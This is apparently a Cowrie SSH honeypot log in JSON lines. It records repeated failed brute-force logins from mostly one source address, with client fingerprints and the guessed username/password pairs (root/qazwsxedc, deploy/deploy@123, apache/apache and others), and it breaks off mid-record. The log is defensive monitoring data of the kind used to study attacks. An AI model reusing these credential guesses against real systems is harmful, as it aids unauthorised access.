{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:45.353302Z","src_ip":"192.109.200.78","session":"b33578acdcae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:45.602107Z","src_ip":"192.109.200.78","session":"b33578acdcae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:46.991477Z","src_ip":"192.109.200.78","session":"b33578acdcae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48250,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd184b5a53da","protocol":"ssh","message":"New connection: 192.109.200.78:48250 (10.17.0.5:22) [session: fd184b5a53da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:49.538014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:49.543223Z","src_ip":"192.109.200.78","session":"fd184b5a53da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:49.629604Z","src_ip":"192.109.200.78","session":"fd184b5a53da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:49.888358Z","src_ip":"192.109.200.78","session":"fd184b5a53da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:50.976489Z","src_ip":"192.109.200.78","session":"fd184b5a53da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48252,"dst_ip":"10.17.0.5","dst_port":22,"session":"aeee10de2661","protocol":"ssh","message":"New connection: 192.109.200.78:48252 (10.17.0.5:22) [session: aeee10de2661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:53.624249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:53.629167Z","src_ip":"192.109.200.78","session":"aeee10de2661","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:53.714035Z","src_ip":"192.109.200.78","session":"aeee10de2661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@123","message":"login attempt [deploy/deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:53.989765Z","src_ip":"192.109.200.78","session":"aeee10de2661","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51172,"dst_ip":"159.203.135.109","dst_port":22,"session":"a26a6d3a8b3e","protocol":"ssh","message":"New connection: 159.203.92.129:51172 (159.203.135.109:22) [session: a26a6d3a8b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:54.630445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:54.636486Z","src_ip":"159.203.92.129","session":"a26a6d3a8b3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:54.643571Z","src_ip":"159.203.92.129","session":"a26a6d3a8b3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Yzx99127","message":"login attempt [admin/Yzx99127] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:54.656254Z","src_ip":"159.203.92.129","session":"a26a6d3a8b3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:55.088702Z","src_ip":"192.109.200.78","session":"aeee10de2661","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:55.663029Z","src_ip":"159.203.92.129","session":"a26a6d3a8b3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48266,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f51d62b757f","protocol":"ssh","message":"New connection: 192.109.200.78:48266 (10.17.0.5:22) [session: 3f51d62b757f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:58.924215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:58.928989Z","src_ip":"192.109.200.78","session":"3f51d62b757f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:59.013558Z","src_ip":"192.109.200.78","session":"3f51d62b757f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:59.392498Z","src_ip":"192.109.200.78","session":"3f51d62b757f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:00.494291Z","src_ip":"192.109.200.78","session":"3f51d62b757f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55478,"dst_ip":"10.17.0.5","dst_port":22,"session":"13f2454a4f8f","protocol":"ssh","message":"New connection: 192.109.200.78:55478 (10.17.0.5:22) [session: 13f2454a4f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:02.128317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:02.158907Z","src_ip":"192.109.200.78","session":"13f2454a4f8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:02.221378Z","src_ip":"192.109.200.78","session":"13f2454a4f8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:02.540424Z","src_ip":"192.109.200.78","session":"13f2454a4f8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:03.625823Z","src_ip":"192.109.200.78","session":"13f2454a4f8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55488,"dst_ip":"10.17.0.5","dst_port":22,"session":"00b68b9f4bac","protocol":"ssh","message":"New connection: 192.109.200.78:55488 (10.17.0.5:22) [session: 00b68b9f4bac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:06.424886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:06.431973Z","src_ip":"192.109.200.78","session":"00b68b9f4bac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:06.517725Z","src_ip":"192.109.200.78","session":"00b68b9f4bac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@1234","message":"login attempt [user/user@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:06.766341Z","src_ip":"192.109.200.78","session":"00b68b9f4bac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:07.857871Z","src_ip":"192.109.200.78","session":"00b68b9f4bac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33358,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2974813d9b0","protocol":"ssh","message":"New connection: 192.109.200.78:33358 (10.17.0.5:22) [session: f2974813d9b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:10.534440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:10.539423Z","src_ip":"192.109.200.78","session":"f2974813d9b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:10.624846Z","src_ip":"192.109.200.78","session":"f2974813d9b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:11.177952Z","src_ip":"192.109.200.78","session":"f2974813d9b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:12.264118Z","src_ip":"192.109.200.78","session":"f2974813d9b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33366,"dst_ip":"10.17.0.5","dst_port":22,"session":"77df2174c71a","protocol":"ssh","message":"New connection: 192.109.200.78:33366 (10.17.0.5:22) [session: 77df2174c71a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:14.510169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:14.515430Z","src_ip":"192.109.200.78","session":"77df2174c71a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v0